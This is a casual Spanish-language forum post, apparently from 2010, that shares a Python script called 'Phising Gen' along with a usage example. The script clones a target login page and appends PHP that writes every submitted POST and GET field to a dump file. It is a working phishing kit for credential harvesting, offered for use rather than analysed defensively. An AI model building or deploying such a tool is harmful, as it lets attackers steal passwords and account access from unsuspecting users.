Hola a todos
Acabo de terminar esta tool en python para generar los fakes o phising (si es que asi se escribe)
No me dedico mucho a esa parte del hacking , pero hice esta cosa rara porque no
tenia nada que hacer xDD.
#!usr/bin/python
#Phising Gen (C) Doddy Hackman
import urllib2,sys,os
def savefile(filename,text):
file = open(filename,"w")
file.write(text)
def header() :
print "\n\n--== Phising Gen ==--\n"
def copyright() :
print "\n\n(C) Doddy Hackman 2010\n"
exit(1)
def show() :
print "\n[*] Sintax : ",sys.argv[0]," <web> <filename>\n"
def toma(web) :
return urllib2.urlopen(web).read()
def gen(web,new):
try:
print "\n[+] Working in the phishing"
code = toma(web)
text ='<?php $file = fopen("dump.txt", "a");foreach($_POST as $uno => $dos) {fwrite($file, $uno."=".$dos."\r\n");}foreach($_GET as $tres => $cuatro) {fwrite($file, $tres."=".$cuatro."\r\n");}fclose($file);?>'
print "[+] The fake was save in",new
savefile(new,code+"\n\n"+text)
except:
pass
header()
if len(sys.argv) != 3 :
show()
else :
gen(sys.argv[1],sys.argv[2])
copyright()
#The End
Ejemplo de uso
C:/Users/DoddyH/Desktop/Arsenal X parte 2>phising.py http://127.0.0.1/login.php
yeah.php
--== Phising Gen ==--
[+] Working in the phishing
[+] The fake was save in yeah.php
(C) Doddy Hackman 2010